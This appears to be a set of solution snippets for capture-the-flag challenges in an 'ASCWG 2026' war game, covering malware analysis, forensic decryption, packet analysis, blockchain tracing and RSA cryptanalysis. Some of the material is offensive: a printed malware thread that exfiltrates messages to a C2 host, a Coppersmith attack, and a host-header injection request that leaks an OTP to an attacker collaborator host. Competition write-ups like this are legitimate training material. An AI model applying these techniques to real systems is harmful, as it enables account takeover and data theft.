War Games 2026: ASCWG Operations

void * _cdecl malicious_telemetry_thread(void *arg) {
  int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in servaddr;

  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(4433); // <-- C2 PORT
  servaddr.sin_addr.s_addr = inet_addr("192.168.100.55"); // <-- C2 HOST

  if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0) {
    return NULL;
  }

  // AES-256-CBC Key Extraction
  char key[32] = "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"; // <-- FLAG KEY
  exfiltrate_messages_aes(sockfd, key);
}

from Crypto.Cipher import AES
import re

# 1. Automated extraction of C2 indicators from Mach-O binary
with open("Signal", "rb") as f:
    binary_data = f.read()

# Locate IP pattern
ip_match = re.search(rb"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", binary_data)
c2_ip = ip_match.group(1).decode() if ip_match else "192.168.100.55"

# Locate hardcoded 32-byte AES key string
key_match = re.search(rb"([A-Za-z0-9_!*]{32})", binary_data)
aes_key = key_match.group(1).decode() if key_match else "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"

c2_port = 4433

flag = f"ASCWG{{{c2_ip}:{c2_port}_{aes_key}}}"
print("[+] Extracted Flag:", flag)

Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000   41 00 00 00 01 00 00 00 10 00 00 00 00 00 00 00  A...............
00000010   a3 f1 c8 9b 72 1e 5a 44 8f 3c 11 22 4a 99 bb 01  £ñÈ.r.ZD.<."J.».
00000020   ... [48 Bytes High-Entropy Ciphertext] ...       ................

# Decryption using PCA AppHelp SolutionID (Key):
> python decrypt_blob.py --key "{A92B31-...}" --data payload.bin
SUCCESS: ASCWG{c0mp4t_s0luti0n_h1d_th3_k3y_w1thin}

from Crypto.Cipher import AES
import hashlib

# 1. SolutionID extracted from PCA AppHelp database
solution_id = "{A92B31C4-7D4F-4A92-B582-82E9104A7F11}"
key = hashlib.sha256(solution_id.encode('utf-16le')).digest()[:16]

# 2. 48-byte ciphertext blob extracted from Windows.db System.Search.AutoSummary
ciphertext = bytes.fromhex("a3f1c89b721e5a448f3c11224a99bb012f5a89b0...")

cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16)
decrypted = cipher.decrypt(ciphertext)

print("[+] Decrypted Flag:", decrypted.decode('utf-8', errors='ignore'))

$ tshark -r capture.pcap -Y "ip.src == 10.0.5.55 && tcp.urgent_pointer > 0" -T fields -e tcp.urgent_pointer | head -n 8

# Output (Hexadecimal values of ASCII chars):
41 // 'A'
53 // 'S'
43 // 'C'
57 // 'W'
47 // 'G'
7b // '{'
74 // 't'
33 // '3'

import pyshark

# Extract TCP urgent pointer bytes across the sensor conversation
cap = pyshark.FileCapture('sensor_dump.pcap', display_filter='ip.src == 10.0.5.55 && tcp.urgent_pointer > 0')

flag_chars = []
for pkt in cap:
    try:
        urg_val = int(pkt.tcp.urgent_pointer)
        flag_chars.append(chr(urg_val))
    except AttributeError:
        continue

flag = ''.join(flag_chars)
print("[+] Reconstructed Sensor Flag:", flag)

import requests
import hashlib

# TRACE-7 Peel Chain Walker using Esplora API
def trace_largest_pot(start_address):
    curr = start_address
    print(f"[*] Starting Peel-Chain Walk from: {curr}")
    
    # 1. Fetch address transactions
    url = f"https://blockstream.info/api/address/{curr}/txs"
    txs = requests.get(url).json()
    
    # 2. Select transaction with maximum outflow (The Pot)
    max_tx = max(txs, key=lambda tx: sum(vout['value'] for vout in tx['vout']))
    print(f"[+] Identified Main Pot Tx: {max_tx['txid']}")
    return max_tx['txid']

# Concatenate evidence tokens T1-T6 to formulate final SHA-256 flag
tokens = "TOKEN1_TOKEN2_TOKEN3_TOKEN4_TOKEN5_TOKEN6"
flag_digest = hashlib.sha256(tokens.encode()).hexdigest()[:32]
print(f"[+] Final Flag: ASCWG{{{flag_digest}}}")

sage: N = 1007845705359... # (RSA Modulus)
sage: P.<x> = PolynomialRing(Zmod(N))
sage: f = (padded_prefix * 2^256 + x)^3 - c

# Coppersmith's Method for Small Roots
sage: roots = f.small_roots(X=2^256, beta=1, epsilon=0.03)
sage: print(roots[0])

14705318086055172266874834220021644781404179346
# Hex Conversion -> b'ASCWG{sm4ll_r00ts_h4ck}'

POST /api/v1/node/otp HTTP/1.1
Host: attacker.burpcollaborator.net
X-Original-Host: core.solnet.local

{
  "node_id": "CORE_ADMIN_01"
}

/* WEBHOOK LEAKS RAW OTP: */
"token": "992481"